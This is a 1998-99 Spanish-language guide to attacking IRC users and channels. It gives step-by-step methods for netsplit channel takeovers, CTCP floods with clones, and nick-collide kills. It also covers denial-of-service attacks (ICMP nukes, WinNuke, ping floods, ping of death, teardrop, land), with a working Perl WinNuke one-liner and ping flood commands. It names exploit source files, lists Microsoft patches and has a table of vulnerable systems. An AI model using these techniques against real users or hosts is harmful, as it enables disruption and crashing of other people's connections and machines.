
_______________________________________________________________________________________________
(c) RoMaN SoFt / LLFB, 1998,
1999
La distribución
de este documento es "libre", con la única condición de informar
al autor en caso de subirlo a algún ftp site o página web,
y siempre que no sea con fines comerciales ni reporte beneficio económico
alguno. Las mismas restricciones se aplican a cualquier otra
forma de difusión pública (revistas, news, étc). En
el caso de publicaciones (revistas) ésta deberá ser completamente
gratis. El documento debe ser distribuido de forma íntegra, no está
permitida la modificación total o parcial ni la difusión
de partes aisladas del mismo. En caso de incumplimiento se emprenderá
las acciones legales pertinentes. Contactar con el autor para cualquier
otra modalidad o forma de difusión.
###############################################################################################
Todo lo que aquí se hable es extensible en general a cualquier red IRC. No obstante en algunos casos muy particulares me referiré a la red IRC hispana ("*.irc-hispano.org"). Ni que decir tiene que la información que se proporciona aquí es con fines educativos; en ningún caso debe ser usada salvo en circunstancias excepcionalmente justificadas. Un uso abusivo puede significar una k/g-line totalmente merecida. Yo no me hago responsable de un posible mal uso de esta info.
Una red IRC se compone de varios servidores corriendo en paralelo y enlazados entre ellos, de forma que se mantegan comunicados (puedan intercambiar mensajes entre ellos). Cuando un usuario se conecta a un servidor determinado, éste (el servidor) lo notifica a los demás servidores que forman parte de la red IRC. Igualmente, cualquier otra acción es notificada a todos los servidores, de forma que éstos actuan como una unidad. De esta forma el usuario se deja ver en todos los servidores aunque físicamente sólo esté conectado a uno. Esto permite tener muchos usuarios repartidos por diferentes servidores pero que virtualmente es como si estuvieran todos en uno sólo.
La estructura de la red IRC es en forma de árbol
(es decir, no puede haber bucles, o "caminos cerrados": partiendo
de un nodo no se llegue por ningún camino otra vez a dicho nodo)
aunque un tanto especial: cada nodo se ve a sí mismo como el nodo
raiz de la red y tiene un grafo en forma de árbol que le indica
el camino a seguir para alcanzar cada uno de los restantes nodos. En la
"literatura" esto se conoce como "spanning tree", que podríamos
traducir como "árbol de expansión". Esto quiere decir
que en un momento determinado un nodo cualquiera tendrá almacenada
información para alcanzar cada uno de los otros nodos de forma unívoca
(tiene un único camino posible hacia cada nodo). Esa información
sería el árbol que está usando el nodo en cuestión.
Pero además este árbol puede ser distinto para el mismo nodo
en un instante diferente, es decir, puede cambiar (digamos que el nodo
va reconfigurándose). Esto tiene la ventaja de que permite adaptarse
a posibles variaciones (eventuales) de la topología de la red (así,
si un nodo cae, los restantes nodos lo detectarán y se reconfigurarán
de forma que los caminos que antes pasaban por dicho nodo dejen de hacerlo:
se tomarían caminos alternativos con lo cual la red seguiría
funcionando correctamente a pesar de la caida del nodo). Un ejemplo de
topología de red podría ser:
[ Server 15 ] [ Server 13 ] [ Server 14]
/
\ /
/
\ /
[ Server 11 ] ------
[ Server 1 ] [ Server 12]
/ \ /
/ \ /
[ Server 2 ] [ Server
3 ]
/ \
\
/ \
\
[
Server 4 ] [ Server 5 ]
[ Server 6 ]
/ | \
/
/
| \
/
/
| \____
/
/
| \
/
[ Server 7 ] [ Server 8 ] [ Server 9 ] [ Server
10 ]
:
[ etc. ]
:
El paso de un nodo a otro adyacente se conoce como "hop" (salto). Así para alcanzar el nodo 5 partiendo de 4 tendremos que dar 2 saltos (hops): uno de 4 a 2 y otro de 2 a 5.
Podemos visualizar el árbol que está usando el server al que estamos conectados usando el comando "/links". Este sacará un listado por pantalla de los servidores alcanzables desde el nuestro, de forma jerarquizada, es decir, respetando la estructura del árbol. Normalmente se indica entre paréntesis al lado de cada servidor el número de hops que habría que dar para alcanzar cada uno de los nodos partiendo del nuestro.
Cuando se rompe uno de los eslabones (links) que unen 2 servidores el conjunto se divide en 2 subconjuntos, los cuales intentarán seguir funcionando normalmente aunque de forma aislada. Esto es, cada subconjunto permanece operativo y mantiene la comunicación entre los servers pertenecientes a dicho subconjunto. Pero por razones obvias los servidores de un subconjunto no ven a los del otro y viceversa. Esta situación se conoce como net-split.
En una sesión normal de IRC esto lo veríamos:
[1:23] *** Case_Zer0 has quit IRC (fuego.irc-hispano.org io.irc-hispano.org)
Esto indica que se han spliteado los dos servidores indicados entre paréntesis y que a consecuencia de ello el usuario Case_Zer0 [ hi Case ;-) ] ha salido "de nuestra red IRC" (lo que está ocurriendo es que se encuentra en el otro subconjunto de servidores: a todos los efectos es que como si se encontrase ya en otra red IRC).
Cuando el enlace caido se recupera (i.e. se reestablece la comunicación entre los servers spliteados) se habla de net-merge. Esto se vería en la sesión anterior como un "join" por parte del usuario que estaba en el servidor spliteado (tanto el quit como el join anteriores son mecanismos del propio IRC, es decir, el usuario anterior no dio ninguna orden de quit ni de join, es transparente a dicho usuario).
Hay programas que detectan y avisan cuando se produce algún net-split o net-merge: son los denominados "link-lookers", y su utilidad es bastante obvia.
Por ejemplo, si el enlace dibujado en rojo (enlace server 2 <-> server 5) cayera, el servidor 5 estaría aislado de la red. Los usuarios de dicho servidor dejarían de ver a todos los demás pertenecientes a servidores distintos, y al contrario. Se dice que el servidor 5 está spliteado. Es fácil reconocer a un servidor en esta situación: si entras en una red a través de un determinado servidor y te encuentras a muy poca gente es muy normal que se deba a que está spliteado de la red.
Otra posibilidad es que el enlace azul (3 <-> 12) cayera. En este caso el servidor 12 se splitea de la red, pero también lo hacen los servidores 13 y 14 indirectamente, por conectarse a través del primero.
Para una información completa del funcionamiento y estructura de una red IRC, y del protocolo subyacente ("Internet Relay Chat Protocol") os remito al RFC1459.
- Esperar un split (lo podemos detectar con un link-looker).
- Entrar (conectar) al servidor spliteado.
- /join #canal (donde canal es el canal donde queremos
conseguir op).
- El server creará un nuevo canal y tendrás el
op.
- Esperar a que se deshaga el split.
Si "hay suerte" (leer más abajo), al deshacerse el split conservaremos el op en los restantes servidores (el servidor spliteado se encarga de dar las órdenes correspondientes). Entonces se dice que hemos llevado a cabo un "net-hack". Los usuarios presentes en el canal en el que hemos llevado a cabo la acción verán algo como:
[1:41] *** irc.i3d.es sets mode: +o RoMaNSoFt
(donde el servidor que nos da op es el que antes estaba spliteado).
Esto no siempre funcionará porque hay aspectos que todavía no he comentado. Paso a explicar el procedimiento y comentar algunos puntos negros. Supongo que habréis comprendido el procedimiento; es muy simple: aprovechar que el servidor spliteado no ve a los usuarios de otros servidores y por tanto al canal previamente creado. Esto presupone que no hay usuarios del servidor spliteado en el canal (en este caso no funcionaría) ya que al entrar nosotros por el server spliteado veríamos al canal como ya creado, con los usuarios de nuestro mismo servidor (a los otros los "esconde" el split) y por tanto el server no nos dará el op, como es habitual al entrar en cualquier canal ya existente.
También hay que tener en cuenta que actualmente todos los servidores tienen protecciones anti-nethack. En este caso, al deshacerse el split, los restantes servidores te quitarán el op a tí en vez de ser al contrario (imponer tu op en los restantes servers), protegiendo al canal PERO ésto lo harán únicamente en caso de que ya hubiera ops en el canal antes de tu intento de net-hack (aunque hay veces en que el server se equivoca y mantiene tu op, quitándoselo a los demás). Es decir, que el net-hack funcionará sólo para canales donde no haya op ("opless channels"). Por esta razón, si queremos el op, necesitaremos tirar previamente a los ops (echarlos del canal, de forma que pierdan su op) para luego llevar a cabo el net-hack. ¿Cómo tirarlos? De esto nos encargaremos más adelante, sigue leyendo };-)
Para la primera alternativa entra en juego tu "don de la palabra": trata de hacerte amigo de algún op para que éste te lo pase. En ese momento ya estás capacitado para quitarle el op a todos los demás ("mass-deop") y quedarte con el canal. Esto lo hacen automáticamente muchos scripts ("automatic-deop"): nada más darte el op el script automáticamente deopea a todos los ops (excepto a tí, claro).
Cuando un cliente supera el límite preestablecido por el servidor, éste cierra la conexión con el cliente: lo echa del servidor porque no puede soportar tanto caudal de entrada. El servidor lo "explica" así:
[1:59] *** _^TkLaS^_ has quit IRC (Excess Flood)
Un flood, en general, no es otra cosa que mandar mucha información en poco tiempo a alguien para intentar que se sature. Se puede floodear una dirección IP, ..., o lo que ahora nos concierne: un servidor de IRC.
La manera de aprovechar el flood en nuestro favor consiste en mandar muchas peticiones de información a nuestra víctima, de forma que ésta, al contestar, supere el límite del servidor y éste lo eche. Por ejemplo, si le mandamos muchos /ctcp version's seguidos (requiriendo información sobre el programa cliente que está utilizando) la víctima floodeará al servidor cuando conteste porque mandará muchas veces (tantas como peticiones haya habido) el texto de respuesta al servidor (para que del servidor vaya al cliente que peticionó, i.e., al atacante).
En esto del flood juega un papel muy importante el número de peticiones que se reciben en un pequeño intervalo de tiempo. Cuantas más se reciban, más posibilidades hay de que el flood tenga éxito. Por ello no es ninguna tontería mandar peticiones desde varios puntos a la vez, y no desde uno sólo, es decir, varios usuarios (¡que podrían ser una misma persona!) de la red IRC manden peticiones a la víctima todos a la vez en un determinado momento. Si los usuarios (nicks) corresponden a una misma persona (una misma dirección IP) se habla de clones. Por tanto, una posible forma de ataque sería crearnos muchos clones y peticionar a la vez desde todos ellos a la víctima.
Pero los servidores también suelen estar preparados para evitar muchos clones (cada clone ocupa, por decirlo de alguna manera, una "linea" de entrada al servidor, y esto consume recursos del mismo). Suele haber un máximo permitido (en el irc hispano es 2) denegándosele el acceso a la red a un tercer clone, o en caso de que éste lo consiguiese expulsándosele del servidor ("matándolo") (el programa servidor revisa periódicamente las IP's conectadas y detecta cuando hay varios usuarios con una misma dirección IP):
[1:32] *** _^Virus^_ has quit IRC (Killed (Clones!))
Se puede cambiar el número máximo de clones admisibles desde una determinada dirección IP o dominio añadiendo una I-Line al servidor IRC (en caso de no existir I-Line para esa dirección IP en particular se usa el máximo genérico definido). Esto lo debe hacer algún administrador de la red IRC y es lo que habitualmente se usa para dar acceso a entidades con muchos ordenadores accediendo a Internet desde una misma IP (como es el caso de la mayoría de cyber-cafés).
¿Cómo provocar un flood con más de 2 clones entonces? La respuesta es simple: en principio no se puede. ¿Entonces? Pues la solución es que varias personas distintas se pongan de acuerdo para atacar a la vez a la víctima. Cada persona podría tener a su vez varios clones. Por ejemplo, si A (atacante) quiere atacar a V (víctima), A se pone de acuerdo con B y C (otras 2 personas atacantes). A su vez supongamos que cada atacante tiene 2 clones: i.1 e i.2 (donde i=A,B,C). Entonces tendremos 6 usuarios (conexiones IRC) distintos atacando a V, que serían A.1, A.2, B.1, B.2, C.1 y C.2. Pero hay un problema: ¿cómo sincronizarse para atacar? ¿Cómo "ponerse de acuerdo" para mandar las peticiones en un determinado momento? Para esto existe lo que se denomina "floodnet" que, como habrá adivinado nuestro ávido lector, es una "red" (asociación) de gente cuyo único objetivo es floodear a alguien. La ventaja que tiene es que la sincronización entre los distintos componentes de la floodnet es automática (lo hacen los scripts) lo cual resuelve el problema anterior. También existe lo que se denomina "botnet" y que es análogo a la floodnet pero usando bots (no confundir con los "de servicio"; estos últimos los ponen los servers de la red irc y no los usuarios) los cuales serán lanzados desde alguna shell Unix (intérprete de comandos en una máquina Unix). Los bots suelen estar prohibidos y cuando se detectan, a lo menos, son expulsados:
[1:32] *** Viernes13 has quit
IRC (Killed (You are not welcome to this network!))
Hoy en día tanto los programas clientes de IRC como los scripts implementan protecciones anti-flood que dificultan enormemente el éxito de un ataque de tipo flood. Por ejemplo, cuando detectan varias peticiones seguidas mandan las respuestas espaciadas en el tiempo (con pausas) y no inmediatamente, con lo cual se evita el flood.
También hay técnicas de flood bastante optimizadas (por ejemplo, usando una floodnet) aunque en general un ataque flood no suele ser demasiado eficiente y es más costoso lograr su éxito que con algunas de las técnicas que se describen a continuación.
El resultado de un nick collide depende del servidor (ircd).
En servidores antiguos (sin protección) el collide se resuelve
matando a los dos usuarios con mismo nick (¡ambos!). En otros más
inteligentes (con protección) el servidor guarda información
acerca de los usuarios y puede saber que usuario tiene el nick con mayor
antigüedad (i.e. quién se lo puso antes), matando únicamente
al usuario con el nick más reciente (protegiendo al usuario más
"veterano").
- Esperar un split.
- Entrar (conectar) al servidor spliteado.
- Ponerse como nick el de la víctima.
- Esperar a que se deshaga el split.
Si todo va bien (el servidor no tiene protección), a la
vuelta del split se detectará el collide y se matarán tanto
al atacante como a la víctima. Lógicamente nuestro usuario
atacante será un clone nuestro, con lo cual no pasa nada si es killeado.
Los pasos serían los siguientes:
- Meter un clone en el servidor lageado.
- Esperar a que la víctima cambie de nick (esto lo detectamos
desde otro servidor no lageado).
- Cambiar rápidamente el nick de nuestro clone y ponerle
el que se acaba de poner la víctima (el nuevo).
- Esperar al lag. ;)
Lo que ocurre es que nuestra orden de cambiar el nick para nuestro clone llega antes al servidor (lageado) que la orden de cambio de nick de la víctima debido a que nuestra orden va directamente de nuestro cliente al servidor lageado mientras que la otra va a través de la red IRC (donde hemos supuesto que se introduce un lag notable). Esto hace que el servidor (lageado) tome a nuestro clone como "dueño" legítimo del nick y mande un kill al otro (la víctima). Esto ocurriría en caso de servidores protegidos; si es no protegido el resultado es que ambos mueren, resultado también aceptable, pues hemos acabado con nuestro objetivo. };-)
Una conexión IRC (cliente-servidor, que es lo que nos interesa) utiliza el protocolo TCP (nivel 4 [transporte] en la torre OSI), el cual se apoya sobre IP (nivel 3 [red]). IP se encarga, entre otras cosas, de hacer el rutado de paquetes ("datagramas IP"), es decir, dado un destino ir enviando los paquetes por el camino apropiado hasta alcanzar el host destino. TCP no ve nada de esto, tan sólo el destino directamente (manda los segmentos TCP directamente al destino), porque IP lo oculta (hace que el rutado sea transparente a TCP). Lógicamente para que un protocolo de nivel superior funcione correctamente, también deberán hacerlo todos los que estén por debajo. En particular, para que nuestra conexión TCP (IRC) se mantenga "viva", IP debe funcionar perfectamente. Y aquí es donde interviene ICMP: se encarga de informar de posibles anomalías que se han producido en el nivel 3 (IP), como por ejemplo, "host unreachable", que significaría que no se ha podido alcanzar el host (el paquete IP ha ido dando saltos ["hops"] de un nodo a otro, hacia el destino, y ha llegado un momento en el que un determinado nodo intermedio no sabía qué hacer con él o ha expirado el tiempo de vida de dicho paquete). En este caso, el paquete que informa del error (ICMP) lo envía el nodo intermedio que se ha dado cuenta del error hacia el "remitente" que lanzó el paquete original (que no se ha podido entregar a su destinatario). Los mensajes ICMP se situan dentro del campo de datos de un datagrama IP y se envían exactamente igual que si fueran datos IP (no son prioritarios). No es objetivo de este escrito tratar más a fondo este tema (para los interesados les aconsejo el libro "Internetworking with TCP/IP, vol I", de Douglas E. Comer, disponible en castellano ya en su tercera edición).
Resumiendo: mediante ICMP informamos de que IP ha fallado, y por tanto, también los niveles superiores como TCP.
Comprendiendo lo anterior ya se puede intuir en qué consiste el ICMP nuke: mandar mensajes ICMP falseados, engañando al destino, haciéndole creer que el otro extremo ha detectado un error y por tanto, provocando un "cierre" de la comunicación. Vamos a explicar un poco mejor ésto.
En una conexión siempre tenemos dos extremos, lo que da dos posibilidades a la hora de engañar, según lo hagamos a uno u otro. En el caso de una conexión IRC, podemos llevar a cabo dos formas de ataque:
* Server nuking (nukear al server): los mensajes ICMP se mandan al servidor IRC, haciéndole creer que se ha producido un error al intentar comunicarse con el cliente. Como respuesta a este mensaje el server cierra la conexión que tenía con dicho cliente. El efecto producido es la "expulsión" del usuario por parte del servidor.
* Client nuking (nukear al cliente): esta vez se envían los ICMP's al cliente; éste cree que el servidor no está disponible y cierra la conexión (el cliente). El servidor no sabe nada en principio, pero detecta el cierre de conexión por parte del cliente, dando el correspondiente error y cerrando también la conexión por su parte.
En teoría las dos fomas de nuking son perfectamente válidas y eficientes, aunque hay que tener ciertas consideraciones en cuenta, como son:
- tanto servidor como cliente pueden tener protección anti-nuke
y puede ser necesario atacar uno porque el otro esté protegido (ver
más adelante).
- si atacas a un cliente, éste puede detectar quién le
está atacando con un simple analizador de paquetes IP o tracer,
y también podría responder con otro ataque de este o cualquier
otro tipo (cuidado con quién te metes ;-)).
- si atacas al servidor, el cliente no tiene manera de saber quién
le ha "atacado" porque los mensajes ICMP no le han llegado a él
sino al servidor (ventaja); pero por otro lado, el servidor sí sabe
quién ha hecho el ataque y puede resultar en una K/G-Line a dicho
usuario por parte del servidor (el usuario podría ser baneado de
toda la red de IRC).
- los inconvenientes de los dos puntos anteriores pueden ser solventados
falseando la dirección origen de los mensajes ICMP que se envían.
Esta técnica se conoce como "spoofing" (ver punto 4).
Hay diversos tipos de error ICMP que se pueden utilizar a la hora de hacer un nuke. En cuanto a la información práctica de cómo utilizar un nuker (programa "nukeador"), debemos tener en cuenta que además de suministrarle el tipo de error que se desea producir, juegan un papel muy importante los puertos, tanto origen como destino, que se elijan.
Una conexión IRC (TCP) queda definida unívocamente por los pares dirección IP origen-puerto origen y dirección IP destino-puerto destino. Estos datos son los que hay que suministrarles al programa nukeador. Puertos típicos del servidor de IRC (será el puerto destino en caso de server nuking o el fuente si se trata de un client nuking) son 6665-9, 4400-6, 7000 y 7777. En realidad cada servidor IRC tiene unos puertos oficialmente reconocidos (que son conocidos públicamente: los podemos leer en el motd ["mensaje del dia"] al entrar en el IRC) y otros que podríamos denominar como privados, y que se usan por ejemplo para las conexiones entre los distintos servidores que forman la red. Un usuario puede estar usando uno de estos puertos "fantasmas" (aunque el servidor también puede limitar el acceso a estos puertos) para esconderse de nukes, puesto que necesitamos conocer este dato para que el nuke sea efectivo.
También necesitamos conocer el puerto del cliente, aunque esto es más difícil porque varía mucho (no son fijos como en el caso anterior) dependiendo del sistema operativo que esté corriendo dicho cliente, los puertos que ya tuviera ocupados antes de establecer la conexión IRC, étc. Lo normal es hacer un barrido de estos puertos empezando por el 1024 (hay puertos que por convenio siempre se asignan a determinadas tareas y no se pueden usar arbitrariamente con lo cual no necesitamos barrerlos) y acabando en 4000, por ejemplo, aunque podría ser necesario aumentar este número.
Es también muy útil utilizar un "port-scan": programa que va probando los distintos puertos de una dirección IP (destino) dada e informa de la respuesta recibida para cada uno de dichos puertos (así podemos saber, por ejemplo, qué puertos de un servidor están dedicados a aceptar conexiones IRC).
A continuación transcribo mensajes típicos de salida de nuestras potenciales víctimas en una sesión típica de IRC:
[1:42] *** aRmiTaGe has quit
IRC (Read error to aRmiTaGe[ig-183.arrakis.es]: Connection reset by peer)
[1:13] *** KoNtRoL has quit
IRC (Read error to KoNtRoL[195.76.99.76]: EOF from client)
[3:17] *** BrOKeNn has quit
IRC (Read error to BrOKeNn[194.224.57.171]: Protocol not available)
[5:25] *** Eli has quit IRC
(Read error to Eli[info760.jet.es]: Network is unreachable)
[5:26] *** Eli has quit IRC
(Read error to Eli[info760.jet.es]: Machine is not on the network)
[4:20] *** vp has quit IRC (Read
error to vp[ia-176.arrakis.es]: Connection refused)
[2:41] *** Estrayk has quit
IRC (Read error to Estrayk[ctv3011.ctv.es]: No route to host)
La protección anti-nuke, a grosso modo, pasa por ignorar los mensajes ICMP que lleguen, aunque ésto ya está limitando el propio funcionamiento del protocolo IP, en el sentido de que ICMP es parte integrante de IP y no se debería inhibir (¿qué ocurriría si llega un mensaje "de verdad" y es ignorado?). Se puede llevar a cabo más o menos "finamente": por ejemplo descartar solo los ICMP's de un tipo y no todos los posibles. Se podría lograr con un firewall (software o hardware encargado de filtrar los paquetes provinientes de la red en base a una reglas previamente definidas) convenientemente configurado.
Puedes echar un vistazo al listado fuente de un programa en C
para mandar ICMP nuke's:
puke.c
La forma de protegerse es cerrar los puertos por los que nos puedan atacar (el 139 principalmente) o aplicar algún parche al SO para quitarnos el bug. Otra solución menos recomendable es la que llevan a cabo algunos ISPs (proveedores de Internet), y que consiste en filtrar todos los paquetes dirigidos al puerto 139 (inconveniente: nos están dejando inoperativo ese puerto). Hoy en día es muy popular este bug y normalmente está ampliamente parcheado (aunque siempre habrá algún que otro despistado que no lo tenga instalado }=)).
Como hemos dicho, este ataque no sólo consigue echar a la víctima del server sino que además le deja colgado el ordenador (tendrá que hacer un reboot), lo que lo hace especialmente peligroso. La víctima saldrá del IRC con un mensaje de tipo ping-timeout como:
[19:56] *** Goku has quit IRC (Ping timeout for Goku[system.tech.arrakis.es])
Aquí teneis una curiosa muestra en PERL de cómo implementar el ataque (autor: Randal Schwartz):
#!/usr/bin/perl
use IO::Socket;
IO::Socket::INET
->new(PeerAddr=>"bad.dude.com:139")
->send("bye", MSG_OOB);
Y por último, el programa definitivo en C, que tiene la
ventaja de que spoofea la dirección origen:
winbomber.c
* Puedes encontrar información oficial sobre el bug y links a
los parches correspondientes (Win95 y NT) en:
http://premium.microsoft.com/support/kb/articles/q168/7/47.asp
La manera de usar esto de forma ofensiva consiste en mandar más pings a un usuario de los que su máquina pueda contestar, saturándole su conexión a Internet. Por tanto se debe de hacer desde un enlace más potente que el que pretendemos atacar.
Lo típico es que la víctima esté en su casa y tenga un modem. Por tanto, necesitamos una conexión a inet más rápida que eso. Lo normal es atacar desde una máquina ubicada ya en la red (conectada mediante ATM, FDDI, ...). Por ejemplo, puede valer la cuenta de la Universidad ;-). La forma de hacerlo sería abriéndonos un shell y tecleando:
$ ping -s 32000 <direcc. IP>
(la sintaxis puede variar ligeramente según sistema operativo).
Los paquetes que se envían al hacer ping son típicamente muy pequeños. Con el modificador -s estamos forzando un nuevo tamaño (32000 bytes es aceptable; también podeis probar con 64000).
Pensad: un modem de 28.8 tardará unos 18 segs. en recibir 64 Kbytes (sin considerar compresión), mientras que desde nuestra shell lo hemos mandado en ¡¡décimas de segundo!! Si consideramos además que el comando ping manda más de un paquete (los que queramos) ... ¡boom! Tendréis el modem de vuestra víctima trabajando a toda pastilla para nada y fastidiándole todo lo que esté haciendo. En particular, le estropearéis su conexión al IRC: en el mejor de los casos la víctima tendrá un lag horroroso y en el peor será expulsada del servidor por "ping time-out".
Desgraciadamente la solución para evitar este ataque no suele ser fácil ya que no se trata de un bug que se pueda parchear sino de la propia mecánica de los protocolos TCP/IP. Aconsejo usar un bouncer localizado en una máquina potente capaz de absorber el ataque.
Aquí teneis un par de programas que mandan los paquetes
spoofeados:
pong.c
g00k.zip
> ping -l 65510 host.victima
Nótese que este comando se refiere exclusivamente a Windows antiguos. Así, por ejemplo, no funciona en NT 4.0 (da como error "valor incorrecto para la opción -l" ya que el máximo ping que puede lanzar es de longitud 65500), pero sí en versiones más antiguas y sin parchear. También se puede lanzar desde Unix'es no demasiado antiguos.
Para los antiguos salió una versión que emulaba
el referido ping:
simping.c
Hoy en día este ataque está ampliamente superado y he decidido incluirlo en el documento por "razones históricas" :-). Aunque todavía es posible encontrar máquinas muy antiguas vulnerables a este ataque.
También es posible en la actualidad atacar algún Windows desde un Linux, p.ej.
Un bug de este tipo es viejo conocido de los sistemas UNIX (el ataque se conocía como "ping of death"); pero la novedad es que ahora lo sufren los Windows. Aunque son cosas técnicamente diferentes, la forma de proceder a la hora de atacar es análoga a OOB: solo hay que saber la dirección IP de la víctima y ¡boom!: le dejamos colgado el ordenador.
La solución pasa por parchear el S.O. En particular, este bug parece que no afecta al Trumpet Winsock así que si lo usais estareis protegidos.
A continuación teneis un programa que implementa
el ataque con spoofing incluido:
jolt.c
El programa que explota esta vulnerabilidad es el siguiente:
teardrop.c
* La solución a este bug pasa por parchear o actualizar
nuestro S.O, a saber:
- Linux: actualizar el kernel a 2.0.32 o superior.
- Windows 95 y NT: información y parches disponibles en:
http://premium.microsoft.com/support/kb/articles/q154/1/74.asp
ftp://ftp.microsoft.com/bussys/winnt/kb/Q154/1/74.TXT
http://premium.microsoft.com/support/kb/articles/q174/0/95.asp
Me parece que en Windows 95 basta con los siguientes parches (pero
no os fieis demasiado, no los he probado):
http://support.microsoft.com/download/support/mslfiles/Vtcpupd.exe
http://support.microsoft.com/download/support/mslfiles/Vipup11.exe
(para Winsock 1.1)
http://support.microsoft.com/download/support/mslfiles/Vipup20.exe
(para Winsock 2)
(se recomienda hacer un backup de los ficheros vip.386, vtcp.386 y vnbt.386 antes de aplicar los parches, por lo que pudiera pasar).
Este bug afecta a una gran variedad de sistemas (routers incluídos). Una lista bastante completa (pero nunca al 100%) de sistemas afectados es la siguiente:
AIX 3
IS vulnerable
AIX 3.2
NOT vulnerable
AIX 4
NOT vulnerable
AIX 4.1
NOT vulnerable
AIX 4.2.1
NOT vulnerable
AmigaOS AmiTCP 4.0demo
NOT vulnerable
AmigaOS AmiTCP 4.2 (Kickstart
3.0) IS vulnerable
AmigaOS Miami 2.0
NOT vulnerable
AmigaOS Miami 2.1f
NOT vulnerable
AmigaOS Miami 2.1p
NOT vulnerable
AmigaOS Miami 2.92c
NOT vulnerable
BeOS Preview Release 2 PowerMac
IS vulnerable
BSDI 2.0
IS vulnerable
BSDI 2.1 (vanilla)
IS vulnerable
BSDI 2.1 (K210-021,K210-022,K210-024)
NOT vulnerable
BSDI 3.0
NOT vulnerable
DG/UX R4.12
NOT vulnerable
Digital UNIX 3.2c
NOT vulnerable
Digital UNIX 4.0
NOT vulnerable
Digital VMS ???
IS vulnerable
FreeBSD 2.1.6-RELEASE
NOT vulnerable
FreeBSD 2.2.2-RELEASE
NOT vulnerable
FreeBSD 2.2.5-RELEASE
IS vulnerable
FreeBSD 2.2.5-STABLE
IS vulnerable (fixed)
FreeBSD 3.0-CURRENT
IS vulnerable (fixed)
HP External JetDirect Print
Servers IS vulnerable
HP-UX 9.03
NOT vulnerable
HP-UX 10.01
NOT vulnerable
HP-UX 10.20
NOT vulnerable
IBM AS/400 OS7400 3.7
IS vulnerable (100% CPU)
IRIX 5.2
IS vulnerable
IRIX 5.3
IS vulnerable
IRIX 6.2
NOT vulnerable
IRIX 6.3
NOT vulnerable
IRIX 6.4
NOT vulnerable
Linux 1.2.13
NOT vulnerable
Linux 2.1.65
NOT vulnerable
Linux 2.0.30
NOT vulnerable
Linux 2.0.32
NOT vulnerable
MacOS MacTCP
IS vulnerable
MacOS OpenTransport 1.1.1
NOT vulnerable
MacOS 7.1p6
NOT vulnerable
MacOS 7.5.1
NOT vulnerable
MacOS 7.6.1 OpenTransport 1.1.2
IS vulnerable (not a compleate lockup)
MacOS 8.0
IS vulnerable (TCP/IP stack crashed)
MVS OS390 1.3
NOT vulnerable
NetApp NFS server 4.1d
IS vulnerable
NetApp NFS server 4.3
IS vulnerable
NetBSD 1.1
IS vulnerable
NetBSD 1.2
IS vulnerable
NetBSD 1.2a
IS vulnerable
NetBSD 1.2.1
IS vulnerable (fixed)
NetBSD 1.3_ALPHA
IS vulnerable (fixed)
NeXTSTEP 3.0
IS vulnerable
NeXTSTEp 3.1
IS vulnerable
Novell 4.11
IS vulnerable (100% CPU for 30 secs)
OpenBSD 2.1
(conflicting reports)
OpenBSD 2.2
NOT vulnerable
OpenVMS 7.1 with UCX 4.1-7
IS vulnerable
OS/2 3.0
NOT vulnerable
OS/2 4.0
NOT vulnerable
QNX 4.24
IS vulnerable
Rhapsody Developer Release
IS vulnerable
SCO OpenServer 5.0.2 SMP
IS vulnerable
SCO OpenServer 5.0.4
IS vulnerable (kills networking)
SCO Unixware 2.1.1
IS vulnerable
SCO Unixware 2.1.2
IS vulnerable
Salaris 2.4
NOT vulnerable
Solaris 2.5.1
NOT vulnerable
Solaris 2.5.2
NOT vulnerable
Solaris 2.6
NOT vulnerable
SunOS 4.1.3
IS vulnerable
SunOS 4.1.4
IS vulnerable
Ultrix ???
NOT vulnerable
Windows 95 (vanilla)
IS vulnerable
Windows 95 + Winsock 2 + VIPUPD.EXE
IS vulnerable
Windows NT (vanilla)
IS vulnerable
Windows NT + SP3
IS vulnerable
Windows NT + SP3 + simptcp-fix
IS vulnerable
Some misc stuff:
3Com Accessbuilder 600/700
NOT vulnerable
3Com LinkSwitch 1000
NOT vulnerable
3Com OfficeConnect 500
NOT vulnerable
3Com SuperStack II Switch 1000
IS vulnerable
Adtran TSU Rack
NOT vulnerable
Apple LaserWriter
IS vulnerable
Ascend 4000 5.0Ap20
NOT vulnerable
Ascend Pipeline 50 rev 5.0Ai16
NOT vulnerable
Ascend Pipeline 50 rev 5.0Ap13
NOT vulnerable
BayNetworks MARLIN 1000 OS
(0).3.024(R) NOT vulnerable
BinTec BIANCA/BRICK-XS 4.6.1
router IS vulnerable
Cisco Classic IOS < 10.3,
early 10.3, 11.0, 11.1, and 11.2 IS vulnerable
Cisco IOS/700
IS vulnerable
Cisco Catalyst
IS vulnerable
Digital VT1200
IS vulnerable
Farallon Netopia PN440
NOT vulnerable
HP Envizex Terminal
IS vulnerable
LaserJet Printer
NOT vulnerable
Livingston Office Router (ISDN)
IS vulnerable
Livingston PM ComOS 3.3.3
NOT vulnerable
Livingston PM ComOS 3.5b17
+ 3.7.2 NOT vulnerable
Livingston PM ComOS 3.7L
NOT vulnerable
Livingston PM ComOS 3.7.2
NOT vulnerable
Livingston Enterprise PM 3.4
2L NOT vulnerable
Livingston T1/E1 OR
IS vulnerable
Milkyway Blackhole Firewall
3.0 (SunOS) IS vulnerable
Milkyway Blackhole Firewall
3.02(SunOS) IS vulnerable
NCD X Terminals, NCDWare v3.1.0
IS vulnerable
NCD X Terminals, NCDWare v3.2.1
IS vulnerable
Netopia PN440 v2.0.1
IS vulnerable
Proteon GT60
NOT vulnerable
Proteon GT60Secure
NOT vulnerable
Proteon GT70
NOT vulnerable
Proteon GT70Secure
NOT vulnerable
Proteon GTAM
NOT vulnerable
Proteon GTX250
NOT vulnerable
Proteon RBX250
NOT vulnerable
Sonix Arpeggio
NOT vulnerable
Sonix Arpeggio +
NOT vulnerable
Sonix Arpeggio Lite
NOT vulnerable
Podeis comprobar la efectividad del ataque usando:
land.c
* Información y parches para NT:
ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/hotfixes-postSP3/land-fix/Q165005.txt
* Información y parches para Win95:
ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/hotfixes-postSP3/land-fix/Q177539.TXT
Aquí teneis el source para reproducir el ataque:
newtear.c
* Como siempre, para evitar este ataque tenemos que aplicar los correspondientes
parches:
ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/hotfixes-postSP3/teardrop2-fix/
